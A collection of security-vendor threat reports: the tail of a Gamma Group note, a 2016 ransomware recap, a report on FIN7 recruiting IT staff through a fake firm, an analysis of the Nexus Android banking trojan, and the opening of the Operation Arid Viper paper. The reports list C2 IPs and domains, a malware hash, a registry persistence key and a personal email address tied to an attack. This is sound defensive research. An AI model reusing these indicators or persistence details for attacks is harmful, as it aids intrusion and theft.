- Subject: C=LB, L=Beirut, O=Cyan Engineering Services SAL (offshore), CN=Cyan Engineering Services SAL (offshore), OU=Symbian Signed PublisherID, ST=Beirut
Links between this company and Gamma Group were already identified by Citizen Lab in their analysis of Symbian malware in 2012.
That’s all for now, folks. Ping me on Twitter if you have any questions. |
# Ransomware Recap: Dec. 19 - Dec. 31, 2016
Christmas brought an unwanted surprise to one family in 2016. On December 25, software engineer Darren Cauthon tweeted an image showing his family's LG smart TV had been infected with ransomware. The smart TV was disabled and displayed a ransom note mimicking a notification from the FBI demanding a payment of US$500. It’s worth noting that the LG TV was an older model running Google TV, a platform that was abandoned in 2014.
Cauthon asked LG to help him restore the TV to its factory settings. At first, the company told him to bring it to a support center but eventually relented and gave him instructions for a factory reset. The Christmas story had an eventual happy ending—the factory reset worked, and Cauthon posted a video of the process to help other smart TV owners who might encounter the same problem.
In this particular case, the ransomware that infected the smart TV was identified as the Android mobile ransomware FLocker. First discovered in May 2015, the notorious mobile ransomware has since been rewritten thousands of times to evade detection. The Cauthon incident follows the pattern of recent variants of FLocker (detected as ANDROIDOS_FLOCKER.A): the ransomware impersonates law enforcement agencies, accuses the victim of crimes they didn’t commit, and then demands a ransom. In June of 2016, Trend Micro already recognized that it was capable of infecting smart TVs. We also noted that it is not the first ransomware to target TVs; and with the proliferation of smart devices across the world, it won’t be the last. Users should take steps to secure their smart devices and be wary about the apps they download and install.
## Other Notable Ransomware Stories
### KillDisk
KillDisk is a malware well-known for being used in cyber-espionage and sabotage operations that hit several companies in the utilities sector. The most well-known case was when it was used in the BlackEnergy attacks that victimized Ukrainian energy companies in late December 2015.
In mid-December of 2016, KillDisk was reportedly deployed in an operation hitting Ukrainian banks. According to reports, after the TeleBot backdoor Trojan was installed, KillDisk deleted, replaced, or rewrote crucial files to render computers unbootable and cover up illicit operations. The malware is believed to be developed by the TeleBots group, which created the TeleBot backdoor Trojan.
Now, KillDisk (detected as RANSOM_KILLDISK.A) has been updated with a ransomware feature that encrypts targeted files and appends them with the string "do not touch crypted file." After encryption, it locks out the user and displays a simple ransom note. Other reports show that the KillDisk ransomware component asks for a huge ransom: 222 Bitcoin, which amounts to about US$210,000.
We have identified that KillDisk fulfills a certain purpose for cybercriminals, the ‘clean up’ after a Trojan installation to hide traces of the infection. This new ransomware update adds another layer to that—if the victim is preoccupied by the ransomware, he or she might not look for another type of malware infection.
### Koovla
Koovla (detected as RANSOM_EDA2RUNSOME.B) is a new and unusual ransomware variant. It calls itself a Jigsaw “twin,” but doesn’t follow the behavior of the older ransomware. After encrypting targeted files, Koovla offers a free decryption key if the victim reads two security articles, one about safe browsing and the other about the Jigsaw ransomware. The motive behind this tactic is unclear, but if the aim of the ransomware operators is to raise awareness, then they follow the footsteps of other “educational” families such as EduCrypt and Shinolocker.
In their ransom note, the ransomware operators say that if the victim is too “lazy” to read the articles, their files will be deleted. It doesn’t seem ready for distribution though, as the sample obtained will actually terminate if the button of its message window is clicked.
The complete text of the ransom note reads:
"Hello, I'm nice Jigsaw or more commonly known as Jigsaw's twin. Unfortunately, all of your personal files (pictures, documents, etc.) have been encrypted by me, an evil computer virus known as 'Ransomware.' Now, not to worry, I'm going to let you restore them but only if you agree to stop downloading unsafe applications off the internet. If you continue to do so, you may end up with a virus way worse than me! You might even end up meeting my infamous brother Jigsaw :( While you're at it, you can also read the small article below by Google's security team on how to stay safe online. Oh yeah, I almost forgot! In order for me to decrypt your files, you must read the two articles below. Once you have, click the "Get My Decryption Key" button. Then enter in your decryption key and click the "Decrypt My Files" button. Eventually, all of your files will be decrypted :) If the timer reaches zero, then all of your personal files will be deleted because you were too lazy to read two articles.”
### Adam Locker
Adam Locker (detected as RANSOM_ADAMLOCK.A) encrypts targeted files on a victim’s system but offers them a free decryption key which can be accessed through Adf.ly, a URL shortening and advertising service. Victims just need to click on the "Open" button on the ransom note and they are led to adf[.]ly/1h2U8c. The shortened link redirects them to http://adamlocker[.]000webhostapp[.]com/key.html, a page that shows the decryption key.
This ransomware veers away from traditional extortion techniques: instead of demanding ransom from victims directly, it uses them to earn money through Adf.ly’s payment scheme. The company promises that people can “earn money just by posting links.” Adf.ly typically shows ads before leading users to their intended link, and the link posters get paid for driving traffic to the ads. The company compensates each poster every time their link is clicked—the more views, the more money earned. The ransomware operators are simply driving up their page views and making money by abusing this legitimate service.
### DeriaLock
Another ransomware family that was spotted during the Christmas holidays was DeriaLock. First seen on Christmas Eve and updated only a few days after, this particular family asks victims to contact a Skype account for the ransom payment.
The first variant (detected as RANSOM_DERIALOCK.A) was only a screen locker. The second variant (detected as RANSOM_DERIALOCK.B) was updated with an encryption routine and appends .deria to the names of files that it encrypts. Even after the update, victims are still asked to contact a Skype account for payment purposes. The amount demanded is actually US$10 less than the first variant. The updated version also has a progress bar showing the time allotted for paying the ransom: 1 day. If payment is not made by that time, it claims that it will delete all private files.
### Hidden Tear Variants
Two new Hidden Tear-based variants were spotted in late December 2016. The first is KoKoKrypt (detected as RANSOM_HIDDENTEARKOKO.A), which is a very straightforward ransomware. It encrypts files and adds the extension .kokolocker. Victims are served a ransom note demanding .1 Bitcoin, or US$90.
The second is the Guster ransomware (detected as RANSOM_HIDDENTEARGUSTER.A). It uses the extension .locked. This particular ransomware has an animated screen locker with a voice-over and a 48:00:00 countdown. The ransom is set at .4 Bitcoin, or roughly $365. The continuing emergence of Hidden Tear variants shows just how dangerous open source ransomware is. Opportunistic malware developers will abuse any available resource.
## Ransomware Solutions
Trend Micro offers different solutions to protect enterprises, small businesses, and home users to help minimize the risk of getting infected by ransomware:
- Enterprises can benefit from a multi-layered, step-by-step approach to best mitigate the risks brought by these threats. Email and web gateway solutions such as Trend Micro™ Deep Discovery™ Email Inspector and InterScan™ Web Security prevent ransomware from ever reaching end users. At the endpoint level, Trend Micro Smart Protection Suites deliver several capabilities like high-fidelity machine learning, behavior monitoring, application control, and vulnerability shielding that minimizes the impact of this threat. Trend Micro Deep Discovery Inspector detects and blocks ransomware on networks, while Trend Micro Deep Security™ stops ransomware from reaching enterprise servers—whether physical, virtual, or in the cloud.
- For small businesses, Trend Micro Worry-Free Services Advanced offers cloud-based email gateway security through Hosted Email Security. Its endpoint protection also delivers several capabilities such as behavior monitoring and real-time web reputation to detect and block ransomware.
- For home users, Trend Micro Security 10 provides strong protection against ransomware by blocking malicious websites, emails, and files associated with this threat.
Users can likewise take advantage of free tools such as the Trend Micro Lock Screen Ransomware Tool, which is designed to detect and remove screen-locker ransomware, as well as Trend Micro Crypto-Ransomware File Decryptor Tool, which can decrypt certain variants of crypto-ransomware without paying the ransom or using the decryption key. |
# FIN7 Recruits Talent For Push Into Ransomware
The intelligence in this report was gathered by a source who was recruited by “Bastion Secure”. Gemini Advisory’s investigation and analysis of the source’s information has been ongoing for the past several months. Although sensitive information has been redacted from this report to protect the source, Gemini Advisory has provided law enforcement with the complete set of unredacted information. In addition, our findings were reported to our clients earlier this month and have been corroborated by Microsoft’s presentation at Mandiant Cyber Defense Summit 2021.
## Key Findings
The cybercriminal group FIN7 has been responsible for large-scale card theft campaigns, resulting in the exposure of over 20 million payment card records, as well as ransomware attacks. Gemini has discovered that FIN7 is now running a new fake company called “Bastion Secure”, replacing the previously reported “Combi Security”. Bastion Secure offered a job offer to a Gemini source and, in the process, provided the source with files that analysts later determined were for the post-exploitation tools Carbanak and Lizar/Tirion. These two tools have been previously attributed to FIN7 and establish the link between Bastion Secure and FIN7. The tasks that were assigned to the Gemini source by FIN7—operating under the guise of Bastion Secure—matched the steps taken to prepare a ransomware attack, providing further evidence that FIN7 has continued to expand into the ransomware sphere. FIN7 can pay unwitting “employees” far less than it would have to pay informed criminal accomplices for its ransomware schemes. However, FIN7’s greed also afforded Gemini a view into the proprietary data of this prolific threat team, leading to the exposure of another fake FIN7 company.
## Background
The cybercriminal group FIN7 gained notoriety in the mid-2010s for large-scale malware campaigns targeting the point-of-sale (POS) systems. In 2018, Gemini Advisory reported FIN7’s compromise of Saks Fifth Avenue and Lord & Taylor stores and the subsequent sale of over 5 million payment cards on the dark web. According to the US Department of Justice, the broader FIN7 carding campaigns have resulted in the theft of over 20 million payment card records and cost victims over $1 billion, making FIN7 one of the most infamous and prolific cybercriminal groups of the last decade. Now with ransomware proving to be cybercriminals’ preferred high-profit, jackpot venture, FIN7 has redeployed their expertise and capacity towards ransomware, with reports indicating that the group was involved in attempted ransomware attacks on US companies as early as 2020. Furthermore, despite focus from law enforcement and the arrest of four FIN7 members from 2018 to 2020, FIN7’s continued activity shows that the group remains a powerful, active threat.
In 2018, the US Department of Justice revealed that FIN7 was posing as “Combi Security”, a fake cybersecurity company, to involve unaware IT specialists in their carding campaigns. While the public focus on Combi Security shut down that operation, Gemini has now discovered that FIN7 is using a new fake cybersecurity company named “Bastion Secure” to lure unaware IT specialists into supporting its continued expansion into ransomware. Over the course of FIN7’s existence, cybersecurity firms have referred to FIN7 by several names—including Carbanak, Carbon Spider, Anunak, Cobalt Gang, and Navigator Group—with some practitioners choosing to subdivide the FIN7 designation according to the target type. While overlapping but different groups of individuals have likely conducted malicious activity attributed to these threat groups, the unifying thread connecting the attack signatures to FIN7 has been the use of the malware Carbanak.
## Analysis
A Gemini source was offered a position as an IT specialist at “Bastion Secure Ltd”, a cybersecurity “company” seeking C++, Python, and PHP programmers, system administrators, and reverse engineers. A basic search for this company returns a legitimate-appearing website, but analysis revealed that it is a fictitious cybersecurity company run by a cybercriminal group. During the interview process, the source was given several tools for test assignments that the source would use if employed. Gemini Advisory worked jointly with the Recorded Future Insikt Group to analyze the tools provided by Bastion Secure and determined that they are actually components of the post-exploitation toolkits Carbanak and Lizar/Tirion, both of which have been previously attributed to the FIN7 group and can be used for both POS system infections and ransomware attacks.
Prior to 2020, FIN7’s primary modus operandi was to compromise companies’ networks and infect POS systems with credit card-stealing malware. Since 2020, cybersecurity researchers have identified instances in which FIN7 gained access to company networks that were later infected with either REvil or Ryuk ransomware. FIN7’s exact involvement in the deployment of ransomware—i.e., whether they sold the access to ransomware groups or have formed a partnership with these groups—remains unclear. However, the tasks that were assigned to the Gemini source by FIN7 (operating under the guise of Bastion Secure) matched the steps taken to prepare a ransomware attack, providing further evidence that FIN7 has expanded into the ransomware sphere.
Furthermore, due to Bastion Secure’s use of Carbanak and Lizar/Tirion and FIN7’s established practice of using fake cybersecurity companies to recruit talent, Gemini assesses with high confidence that FIN7 is using the fictitious company Bastion Secure to recruit unwitting IT specialists into participating in ransomware attacks.
More broadly, FIN7’s decision to use a fake cybersecurity company to recruit IT specialists for its criminal activity is driven by FIN7’s desire for comparatively cheap, skilled labor. Bastion Secure’s job offers for IT specialist positions ranged between $800 and $1,200 USD a month, which is a viable starting salary for this type of position in post-Soviet states. However, this “salary” would be a small fraction of a cybercriminal’s portion of the criminal profits from a successful ransomware extortion or large-scale payment card-stealing operation. In effect, FIN7’s fake company scheme enables the operators of FIN7 to obtain the talent that the group needs to carry out its criminal activities, while simultaneously retaining a larger share of the profits.
FIN7’s use of Bastion Secure—even after the discovery of Combi Security, the group’s previous fake cybersecurity company—indicates that FIN7 continues to believe that hiring unwitting IT specialists is the group’s best method for balancing the need for a technically skilled team against the operators’ desire for maximum profits.
## Bastion Secure
With FIN7’s latest fake company, Bastion Secure, the criminal group leveraged true, publicly available information from various legitimate cybersecurity companies to create a thin veil of legitimacy around Bastion Secure. In effect, FIN7 is adopting disinformation tactics so that if a potential hire or interested party were to fact check Bastion Secure, then a cursory search on Google would return “true” information for companies with a similar name or industry to FIN7’s Bastion Secure.
FIN7’s first step in obtaining a veil of legitimacy was to give their fake company the generic name “Bastion Secure”, which appears similar to several unrelated security-adjacent companies with highly listed Google search results:
- Bastion Security Products Ltd: a US physical security company that was recently acquired by ECAMSECURE
- Bastion Security Group: a US physical security consulting company
Second, Bastion Secure listed the company’s office addresses as:
- 16e Follingsby Ave, Gateshead, United Kingdom (former address of the since-closed Bastion Security (North) Limited)
- 94 Yigal Alon St. Tower 1, Tel Aviv, Israel (office building containing multiple businesses, including the vehicle security company Cymotive)
- Imperia Tower, 12 Presnenskaya Embankment, Moscow, 123100 Russia (office building containing multiple businesses). Gemini contacted the Imperia Tower building administrators, who confirmed that there is no company named Bastion Secure with office space at the building.
- Fortis Tower, 77-79 Gloucester Rd, Wan Chai, Hong Kong (office building containing multiple businesses). Fortis Tower building administrators did not respond to Gemini’s inquiries; however, public records in the Hong Kong government’s “Companies Registry’s Cyber Search Centre” revealed that there is no registered company named “Bastion Secure” operating in Hong Kong.
Furthermore, the Bastion Secure website itself also appears legitimate at first glance; however, a deeper analysis revealed that the website is largely a copy of the website of Convergent Network Solutions Ltd., a legitimate cybersecurity company. Additionally, the Bastion Secure website is hosted on the Russian domain registrar Beget, which cybercriminals commonly use.
To recruit IT specialists, Bastion Secure posts legitimate-appearing job offers on both their website and prominent job search sites in post-Soviet states, as well as providing reputable-looking contacts to potential hires for additional credibility. In the past several months, Bastion Secure has posted job offerings for system administrators on job search sites and added new vacancies for PHP, Python, and C++ programmers and reverse engineers on their website. On these job sites, Bastion Secure provides sufficiently professional information to appear legitimate and includes purported office information and a phone number (+7 499-642-3420).
FIN7—operating under the guise of Bastion Secure—is looking for programmers (PHP, C++, Python), system administrators, and reverse engineers in order to build a “staff” capable of conducting the tasks necessary for undertaking a range of cybercriminal activity. Given FIN7’s increased interest in ransomware, Bastion Secure is likely specifically looking for system administrators because an individual with this skill set would be able to:
- Map out compromised companies’ systems
- Identify users and devices within the systems
- Locate backup servers and files
In order for the system administrator to map out a victim’s system, FIN7 would need to first provide the individual with access to the system. FIN7 operators could obtain the initial access through their well-documented phishing and social engineering methods or by purchasing access on dark web forums from a large pool of vendors. Once the system administrator mapped out the system and identified backups, FIN7 could then escalate to the next step in the malware and ransomware infection process.
## FIN7’s Bastion Secure Reveals Criminality During Hiring Process
A Gemini source made contact with a Bastion Secure “HR representative” on a job search site, leading to a hiring process in which Bastion Secure shared their business practices and access to several of their tools. Gemini analyzed these tools to discover that they were in fact the post-exploitation tools Carbanak and Lizar/Tirion. As various security practitioners have already attributed these tools and ransomware attacks to the FIN7 group, the fact that Bastion Secure representatives provided the source with disguised versions of these attributable post-exploitation tools establishes a strong link between Bastion Secure and FIN7.
### First Stage: Interview Process
The first stage of the hiring process proceeded similarly to a legitimate job hiring process and gave no indication that Bastion Secure was a fake company for a cybercriminal group. First, the HR representative from Bastion Secure communicated with the Gemini source and informed them that they had reviewed the source’s resume and were interested in hiring them as an IT specialist. After the source indicated that they were interested in the position, the source conducted a typical first-stage interview with the HR representative via messages on Telegram. Although many non-criminal individuals in post-Soviet states use Telegram as their preferred messaging app, it is not typical for initial professional correspondences to be conducted on Telegram.
After completing the interviews, the source was informed that they would need to:
- Complete several test assignments before beginning on a probationary basis
- Sign a contract and non-disclosure agreement
- Configure their computer by installing several virtual machines and opening ports
### Second Stage: Practice Assignments
At face value, the second stage of the hiring process did not give a clear indication that Bastion Secure is a cybercriminal operation. However, the actions taken later in the third stage clearly made the steps taken in the second stage highly suspicious. The source was instructed to install certain platforms and conduct a series of practice assignments that would be typical for the position. Bastion Secure also informed the source that they were willing to train new hires in cybersecurity. When the source indicated that they were interested in learning, the company sent them additional files that included tools that could either be used for legitimate penetration testing or malicious activity. Although the tools provided to the source were potentially unusual for the position, Bastion Secure prefaced it by proposing that they would train the source to not only manage client’s systems but also secure them, lending credence to the use of these tools.
### Third Stage: “Real” Assignment Signals Criminal Intent
In the third stage, Bastion Secure gave the source their first “real” assignment, and it became immediately clear that the company was involved in criminal activity. The fact that the Bastion Secure representatives were particularly interested in file systems and backups signals that FIN7 was more interested in conducting ransomware attacks than POS infections. For the first assignment, Bastion Secure provided the Gemini source with a “client company” to work on. The task would have been to use a script to collect information on domain administrators, domain trust relationships, file shares, backups, and hypervisors (the software responsible for creating and running virtual machines). At this point, the source became highly suspicious of Bastion Secure’s activities, noting the following red flags from earlier in the hiring process:
- Bastion Secure provided access to the company’s network without any legal documentation or explanation, suggesting that the access may have been acquired through social engineering or purchased on the dark web
- Bastion Secure was only interested in file systems and backup
- The company warned of a heavy fine if the source installed antivirus software on the virtual machine that they were using
- The employee was required to use specific tools to avoid detection
- Bastion Secure software was purportedly licensed to “Checkpoint Software Inc”, which may have been an attempt to masquerade the software as a product of the legitimate company Check Point Software Technologies Ltd. Security researchers have previously reported that FIN7 has attempted to do this in the past as well.
## Attribution
Gemini analyzed the files that were sent to the source by Bastion Secure and found that the files contained components for the post-exploitation tools Carbanak and Lizar/Tirion. Post-exploitation tools—which are part of any ransomware group’s toolkit—allow malicious actors to control infected computers after they have gained initial access to the victim company’s network. Various security practitioners have previously attributed the use of Carbanak and Lizar/Tirion to FIN7. These two factors indicate that FIN7 operators are sharing a partially disguised version of its toolkit with unwitting accomplices through the fake company Bastion Secure.
The files provided to the source by Bastion Secure included files for a software component titled “Command Manager” that was, in fact, a disguised version of the client component of Carbanak. Gemini determined this by analyzing the software’s functionality and concluded that it is an updated version of previously identified versions of Carbanak. The main functions of the Carbanak command manager are collecting information about an infected computer and obtaining remote access to the infected computer.
The files contained an obfuscated PowerShell script that ultimately launches the Lizar/Tirion injector and payload. The primary function of the loader is to receive periodic commands from the C&C server and execute the commands on the infected computer. The commands executed by the loader on the infected computer are “modules” and the results are sent back to the C&C server.
## Conclusion
Although cybercriminals looking for unwitting accomplices on legitimate job sites is nothing new, the sheer scale and blatancy with which FIN7 operates continue to surpass the behavior shown by other cybercriminal groups. Not only is FIN7 looking for unwitting victims on legitimate job sites, but also attempting to obfuscate its true identity as a prolific cybercriminal and ransomware group by creating a fabricated web presence through a largely legitimate-appearing website, professional job postings, and company info pages on Russian-language business development sites.
FIN7’s decision to hire unwitting accomplices, as opposed to finding willing accomplices on the dark web, is likely due to greed. With willing accomplices, FIN7 would be forced to share a percentage of ransom payments totaling millions of dollars, whereas unwitting “employees” would work for monthly salaries in the low thousands, which are commensurate with the labor markets in post-Soviet states. However, FIN7’s greed also afforded Gemini a view into the proprietary tools of this prolific threat team, as well as the exposure of another fake FIN7 company. |
# Nexus: A New Android Botnet?
**Key Point**
On January 2023, a new Android banking trojan appeared on multiple hacking forums under the name of Nexus. However, Cleafy’s Threat Intelligence & Response Team traced the first Nexus infections way before the public announcement in June 2022. Nexus is promoted via a Malware-as-a-Service (MaaS) subscription, a particular type of cybercrime in which malware creators or distributors provide their services to other criminals or individuals on a rental or subscription basis. Developers offer their services on underground forums or through private channels (e.g., Telegram), and their clients pay a fee to use the malware. Nexus appears to be in its early stages of development (BETA). Multiple campaigns active worldwide confirm that multiple TAs are already using this thread to conduct fraudulent campaigns. Nexus provides all the main features to perform ATO (Account Takeover) attacks against banking portals and cryptocurrency services, such as credentials stealing and SMS interception. It also provides a built-in list of injections against 450 financial applications. Despite Nexus being promoted as a brand-new malware, it contains some relations with the SOVA banking trojan, suggesting that developers adopted and reused old developments.
## Introduction
At the beginning of January 2023, a new Android banking botnet named Nexus was promoted by a user on multiple underground hacking forums. The following image represents the original thread promoted by the author:
Following the discussion, the authors claim that the source code of Nexus has been entirely written from scratch, but it is still in its early development days. Despite this, the authors behind Nexus announced that it was already available for rent at a steep price of $3000 per month through a MaaS subscription. MaaS stands for Malware-as-a-Service, and it is a model used in the cybercrime world to offer their malware for rent or sale to other TAs who lack the technical expertise to develop their malware. This model is prevalent in Android banking trojans, where malware authors use MaaS platforms to distribute their malware to a broader audience. The MaaS model allows criminals to monetize their malware more efficiently by providing a ready-made infrastructure to their customers, who can then use the malware to attack their targets. It is common for MaaS providers to impose restrictions on the geographies where their customers can conduct attacks using rented or purchased malware. The Nexus authors, for example, have a "code of conduct" rule prohibiting using their malware in Russia and CIS countries.
## Previous Activities and Linking with SOVA
Despite the official launch of the Nexus MaaS program on 27th January 2023, our internal telemetries identified previous related activities behind this botnet. On August 2022, during the analysis of those samples, technical indicators suggested some code similarity between Nexus samples and SOVA, an Android banking trojan that emerged in mid-2021. At that time, it was considered a new variant of SOVA, as described in our previous blog article. Despite the new MaaS program launched under the name Nexus, the authors may have reused some parts of SOVA internals to write new features (and rewrite some of the existing ones). Recently, the SOVA author, who operates under the alias “sovenok,” started sharing some insights on Nexus and its relationship with SOVA, calling out an affiliate who previously rented SOVA for stealing the entire source code of the project. This event could explain why parts of the SOVA source code have been passing through multiple banking trojans. In fact, sovenok identified another Android botnet that operates under the name of POISON, which he considers to be highly linked to Nexus.
Focusing on technical indicators, the following shows the overlap found between the commands on SOVA and Nexus. As a result, it appears that most of the SOVA commands were also reused on Nexus. Another similarity between Nexus and SOVA is how geographic location is checked. Analyzing the bootstrap of the infection, it was possible to discover that Nexus implements a function called `preloadCheck()` to identify if the victim is actually in a country “allowed” to be attacked. If the check succeeds, it starts the infection chain. Otherwise, the application simply terminates the activity. Currently, countries that are ignored are: Azerbaijan, Armenia, Belarus, Kazakhstan, Kyrgyzstan, Moldova, Russian Federation, Tajikistan, Uzbekistan, Ukraine, and Indonesia. Moreover, another routine is deployed to discern if the victim is eligible to become part of the botnet. In this case, the attackers try to verify if the official Sberbank (Russia's biggest bank) application is installed. Lastly, there are many API similarities used by both SOVA and Nexus to communicate with the C2 server, as confirmed by sovenok.
## Technical Analysis: Main Features and Commands
Nexus contains all the main features to perform Account Takeover attacks (ATO) against banking apps from all over the world and cryptocurrency services. In particular, it can:
- Perform overlay attacks and keylogging activities to steal users' credentials.
- Steal SMS messages to obtain the two-factor authentication codes.
- Through the abuse of the Accessibility Services, Nexus can steal some information from crypto wallets (such as seeds and balance), the 2FA codes of Google Authenticator app, and the cookies from specific websites.
Comparing the list of commands of two Nexus samples (one from August 2022 and one from March 2023), it is possible to note the addition of some new commands, such as the ability to remove received SMS and the feature to activate or stop the 2FA stealer module. The following evidence, in addition to some claims by the Nexus author concerning the possibility of adding a VNC module, underlines the desire to further improve the malware with new features.
## Update Capacity
Nexus is also equipped with a mechanism for autonomous updating. A dedicated function asynchronously checks against its C2 server for updates when the malware is running. More specifically, it performs a check towards a dedicated endpoint asking for the last version. If the value sent back from the C2 does not correspond to the one installed on the device, the malware starts the update process. Otherwise, it ignores the value and continues with all its routine activities. The update begins concatenating the URL related to the C2 and a key that will be used as an authorization token. At the time of writing, the version available is related to the build 7.20. Analysts could use the “key” value to keep track of different custom versions of Nexus; it was possible to identify a slightly modified version of the malware for each key. This suggests that more actors are renting customized samples that aim to hit specific targets and countries.
## Ransomware Module?
According to the information retrieved from various samples, Nexus is equipped with encryption capabilities. However, this module seems to be under development due to the presence of debugging strings and the lack of usage references (especially within the C2 command list). However, we can’t exclude that this function is a “typo” associated with the cut-and-paste activities that seem to involve many parts of the code. It’s reasonable to ask why this encryption paradigm has been implemented. An explanation could be found in an attempt to make it harder for the user to realize what happened. A similar approach, even more destructive, has been used by Brata, where TAs adopted the strategy of factory resetting the device right after an unauthorized wire transfer attempt to reduce the evidence. According to our experience, it’s also hard to think about a ransomware modus operandi on mobile devices since most information stored is synced with cloud services and easily recoverable. In fact, as confirmed by sovenok, it started to design a ransomware capability in SOVA, but it was pointless for a banking trojan on mobile devices.
## Noisy Logs
Another interesting characteristic of Nexus that strengthens the hypothesis of its development stage is the number of logging messages spread throughout the code. Those messages are intended to track all actions performed, and some of them are paired with a debugging string that contains the message “plz report this accident.” Logging messages are not limited to local devices. In fact, it was possible to discover that most of the messages are also intended to be sent over the C2 communication channel. The message should follow this syntax: `[ botId : Log Message]`. However, at the time of writing, due to the lack of references to the variable botID related to the logging class, this capability still seems to be in the development phase.
## C2 Web Panel
Once Nexus is installed on a victim's device, it connects to its C2 server. This server is used by TAs to remotely control the malware, issue commands, and receive stolen data. Nexus provides a C2 web panel, which is an essential tool for cyber criminals who are using malware or a botnet to carry out attacks. It provides a centralized interface for managing the malware and the data it collects, making it easier for attackers to carry out their malicious activities. Typically, Nexus C2 web panels expose the login page on the Internet through port 80 or 5000. Once logged in, the panel offers the following features:
- **Dashboard**: displays the status of the botnet, including the number of infected devices, data collected, and any recent activity.
- **Bots**: a detailed list of the infected devices, locations, and other metrics.
- **Data Collection**: tools for collecting and analyzing data from infected devices. This includes login credentials, cookies, credit card details, and other sensitive information.
- **Injects**: a comprehensive list of 450 banking application login pages for grabbing valid credentials.
- **Builder**: interface for creating customized versions of Nexus, allowing TAs to customize various aspects, such as the command-and-control server (C&C) address, the icon and name of the app, and more.
As the alleged author claimed on multiple hacking forums, the complete list of injections has 450 different targets, which are searchable through the panel. They also offer the possibility to create custom injections. Pivoting C2 fingerprints through Internet search engines, such as Shodan, could provide excellent information, and in this case, it confirms that the growing trend began in the very first of 2023 when Nexus was officially promoted on multiple hacking forums.
## Conclusion
Nexus is an emerging malware that allegedly has taken more than a few “ideas” from SOVA (a threat that hit the international landscape in the last year). According to the similarities observed in the code, and the insights retrieved from underground forums, it is possible to confirm that Nexus represents a new malware, guided by an entirely new group, which was capable of retrieving parts of SOVA source code after they were stolen by an Android botnet operator called POISON. By analyzing the latest retrieved samples, we can say that Nexus is still in an early stage of development, still including snippets of code that seem to belong to its ancestor. As always, the main question here is: Does it represent a threat to Android users? At the time of writing, the absence of a VNC module limits its action range and its capabilities; however, according to the infection rate retrieved from multiple C2 panels, Nexus is a real threat that is capable of infecting hundreds of devices around the world. Because of that, we cannot exclude that it will be ready to take the stage in the next few months.
## Appendix 1: IOCs
| IoC | Description |
| --- | --- |
| d4c6871dbd078685cb138a499113d280 | MD5 of Nexus |
| 193.42.32.87 | C2 |
| 193.42.32.84 | C2 |
## Meet the Authors
Francesco Iubatti - Mobile Malware Analyst & Threat Intelligence Analyst.
Federico Valentini - Head of Threat Intelligence and Incident Response.
Alessandro Strino - Malware Analyst. |
# OPERATION ARID VIPER
## Introduction
Trend Micro researchers discovered an ongoing malware campaign that targets Israeli victims and leverages network infrastructure in Germany. The campaign has strong attribution ties to Arab parties located in the Gaza Strip and elsewhere.
Picture the following reconstruction based on one attack—an employee in an Israeli government research facility receives and opens a highly targeted phishing email. A pornographic movie starts to play on his screen, which he hurriedly closes before any of his colleagues notice. Minutes later, an attacker from somewhere in the Gaza Strip in Palestine gets notified that a new victim’s system has been successfully infected. The attacker then proceeds to exfiltrate a package containing all of the interesting documents from the newly infected system.
Israel is one of the most highly defended countries in the world, sheltered behind the legendary “Iron Dome.” But all of that counts for nothing when an attacker—possibly seeking revenge for Israeli air strikes on Gaza last year—circumvents all of that to strike right at the heart of the Israeli administration.
This research paper tells the story of a highly targeted attack campaign that raised all kinds of red flags. What we have dubbed “Operation Arid Viper” refers to a campaign that exclusively targets victims in Israel. This particular case showed that not only countries are looking at Israel through the crosshairs; a few organizations who consider themselves the country’s adversaries are, too.
Operation Arid Viper uses malware delivered via phishing emails to steal documents from target systems. This paper reveals the campaign’s technical details and its targets as well as details on a number of individuals who appear to be tied to the campaign.
## Targets
Threat intelligence from within Trend Micro was used to determine who the targets of an ongoing campaign dubbed “Operation Arid Viper” have been so far. Based on IP addresses associated with malware infections tied to the campaign’s core infrastructure, we were able to determine its targets—a government office, transport service/infrastructure providers, a military organization, and an academic institution in Israel. It also targeted an academic institution in Kuwait along with several other unidentified Israeli individuals.
Research also revealed an interesting Twitter conversation between @Ramzi_MHADHBI, a Tunisian blogger, and @waleedassar, a reverse engineer currently working as a senior security researcher at the Al Jazeera Media Network. Their exchange mentioned two of the domains associated with Operation Arid Viper malware, suggesting that one or both of them may have also been targeted.
## Infection Chain
Operation Arid Viper aimed to extract victim information though it also paid much attention to its means of getting into target systems. The campaign used the most popular targeted attack infection vector—a simple phishing email from a nonexistent sender to a specific recipient. It targeted organizations from various industries with a clear focus on Israel.
The spear-phishing email came with a compressed file attachment and a credible social engineering ploy to trick victims into opening it and running the embedded .EXE file. The .RAR file attachment contains an .SCR file that when executed drops two more files onto an infected system. One file is a short pornographic video in .FLV or .MPG format, depending on the samples seen. The other file is a Windows® binary file sporting the icon of the well-known Internet communication program, Skype™.
Operation Arid Viper was unusual in that it had a pornographic component in hopes of taking user focus away from the infection or the fact that something strange is happening. It targeted professionals who might be receiving very inappropriate content at work and so would hesitate to report the incident.
Once executed, the binary accesses a command-and-control (C&C) server to immediately download an updated module and check if the infected system is already known or if it has been newly infected. Each infected system is assigned a unique identifier comprising its hard disk name and a specific set of numbers. Specific URLs are used for command and control.
When the second-stage malware runs, it sets itself to auto-run with each system reboot in the guise of an Internet communication software. This is accomplished with an auto-start registry key such as HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run—“Skype = <path name.exe>.”
The malware logs in to the C&C console by calling a very specific PHP script on the C&C server. The number it creates for the user parameter was chosen from the malware client to identify the session. It then starts searching the whole hard disk for documents—.DOC, .XLS, .PPT, and .TXT files. Each document found is reported to the C&C server.
The C&C server immediately responds if each document is interesting or not. This decision probably comes from a hard-coded blacklist on the server side to likely prevent the client from sending out default templates and generic readme.txt files.
The client then proceeds to list down all of the interesting documents to steal. These are compressed in a 0.txt file and uploaded to a C&C server via a POST request.
## C&C Infrastructure
Using an initial malware sample and its corresponding C&C server, we looked through internal Trend Micro databases to compile a list of similar malware that contact the same server. The first C&C server found was pstcmedia.com. A quick search revealed that another site—mixedwork.com—hosted on the same IP address also acted as a C&C server.
To find other domains that may be part of the same campaign or used by the same perpetrators, an investigation of domain registration data was conducted. The C&C server that pstcmedia.com used was registered using the personal email address, khalid.samraa@gmail.com.
An in-depth look at Trend Micro™ Smart Protection Network™ feedback for network activity similar to the previously mentioned URL paths allowed us to identify where the following active C&C servers were at various times:
- ahmedfaiez.info
- flushupdate.com
- flushupate.com
- ineltdriver.info
- mediahitech.com
The first three servers have all been hosted at some point on the same IP addresses located in Hetzner, Germany.
## Operation Advtravel
